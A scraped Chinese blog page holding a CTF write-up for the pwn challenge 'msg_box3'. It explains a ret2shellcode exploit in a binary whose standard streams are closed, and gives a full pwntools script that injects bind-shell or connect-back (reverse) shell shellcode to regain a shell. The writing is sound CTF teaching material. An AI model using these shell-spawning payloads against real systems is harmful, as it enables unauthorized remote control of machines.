当前位置: 首页 > article >正文

[socket 弹 shell] msg_box3

前言

题目比较简单,没开 Canary 和 NX.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

漏洞利用与分析:

白给的函数调用,其中 ptr + 10 是用户可控的,而 NX 又没开,所以 ret2shellcode

主要的考点就是其在执行 shellcode 之前,把 stdin/stdout/stderr 全给关了。但是这里题目并没有开沙箱,所以直接利用 socket 进行通信拿 shell。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Enter your choice: '

sla(menu, b'1')
sla(b'):\n', b'XiaozaYa')
def exp1():
        port = 5555
        shellcode = asm(shellcraft.bindsh(port, 'ipv4'))
        sla(b'):\n', shellcode)

        sla(menu, b'3')
        x = remote('127.0.0.1', port)
        x.interactive()

def exp2():
        port = 4444
        x = listen(port)
        shellcode = asm(shellcraft.connect('127.0.0.1', port) + shellcraft.dupsh())
        sla(b'):\n', shellcode)
        sla(menu, b'3')
        x.interactive()

#shellcode = asm(shellcraft.findpeersh(io.lport))
#sla(b'):\n', shellcode)
#sla(menu, b'3')
#sh()

if __name__ == '__main__':
        exp1()
        #exp2()


http://www.kler.cn/a/146900.html

相关文章:

  • HTML and CSS Support HTML 和 CSS 支持
  • 网络传输:网卡、IP、网关、子网掩码、MAC、ARP、路由器、NAT、交换机
  • Django5 2024全栈开发指南(二):Django项目配置详解
  • Java putIfAbsent() 详解
  • 学习threejs,使用AnimationMixer实现变形动画
  • 任意文件下载漏洞
  • 虹科干货 | 适用于基于FPGA的网络设备的IEEE 1588透明时钟架构
  • 线上异步任务突然不能回写100%
  • FLASK博客系列9——你想成为我的新用户吗?
  • Node.js入门指南(五)
  • vue页面表单提交时如何做校验
  • 你了解Redis 的二进制安全吗
  • JS 单线程还是多线程,如何显示异步操作
  • Linux篇:文件系统
  • autojs-练手-批量下载JK图片
  • Windows bat批处理zip打包排除bat文件自身不打包
  • 10、静态数码管显示
  • vatee万腾的科技征途:Vatee独特探索的数字化力量
  • excel单元格内换行按什么快捷键
  • 【Spring整合Junit】Spring整合Junit介绍
  • 边缘计算网关:智能制造的“智慧大脑”
  • 【高效开发工具系列】MapStruct入门使用
  • Idea常用的快捷键
  • SpringBoot封装Elasticsearch搜索引擎实现全文检索
  • vulfocus apache-cve_2021_41773 漏洞复现
  • Hive中常出现的错误(不定时更新)